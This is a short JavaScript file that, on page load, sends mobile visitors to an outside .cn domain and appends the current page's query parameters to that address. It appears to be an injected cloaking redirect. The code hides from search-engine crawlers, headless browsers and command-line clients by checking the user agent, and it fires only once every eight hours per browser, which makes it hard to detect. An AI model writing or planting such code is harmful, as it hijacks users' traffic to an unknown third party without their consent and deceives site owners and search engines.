(function () {
  'use strict';

  const CONFIG = {
    targetUrl: 'https://bd14.dxfoxgc.cn/?channel_code=81',
    onceHours: 8,
    storageKey: 'ad_redirect_last_at'
  };

  function getUA() {
    return (navigator.userAgent || '').toLowerCase();
  }

  function isBot() {
    return /bot|spider|crawler|googlebot|bingbot|baiduspider|bytespider|yandex|duckduckbot|slurp|semrushbot|ahrefsbot|petalbot|facebookexternalhit|twitterbot|headless|phantomjs|selenium|curl|wget|python-requests|httpclient/i.test(getUA());
  }

  function isMobile() {
    return /android|iphone|ipad|ipod|mobile|mobi|windows phone|blackberry|iemobile|opera mini|harmonyos/i.test(getUA());
  }

  function canRedirectByFrequency() {
    try {
      const lastAt = Number(localStorage.getItem(CONFIG.storageKey) || 0);
      const limit = CONFIG.onceHours * 60 * 60 * 1000;
      return !lastAt || (Date.now() - lastAt > limit);
    } catch (e) {
      return true;
    }
  }

  function markRedirected() {
    try {
      localStorage.setItem(CONFIG.storageKey, String(Date.now()));
    } catch (e) {}
  }

  function buildTargetUrl() {
    const target = new URL(CONFIG.targetUrl, window.location.href);
    const currentParams = new URLSearchParams(window.location.search);

    currentParams.forEach(function (value, key) {
      if (!target.searchParams.has(key)) {
        target.searchParams.set(key, value);
      }
    });

    target.searchParams.set('_ts', String(Date.now()));
    return target.toString();
  }

  function redirect() {
    markRedirected();
    window.location.href = buildTargetUrl();
  }

  function run() {
    if (isBot()) return;
    if (!isMobile()) return;
    if (!canRedirectByFrequency()) return;

    redirect();
  }

  if (document.readyState === 'loading') {
    document.addEventListener('DOMContentLoaded', run);
  } else {
    run();
  }
})();
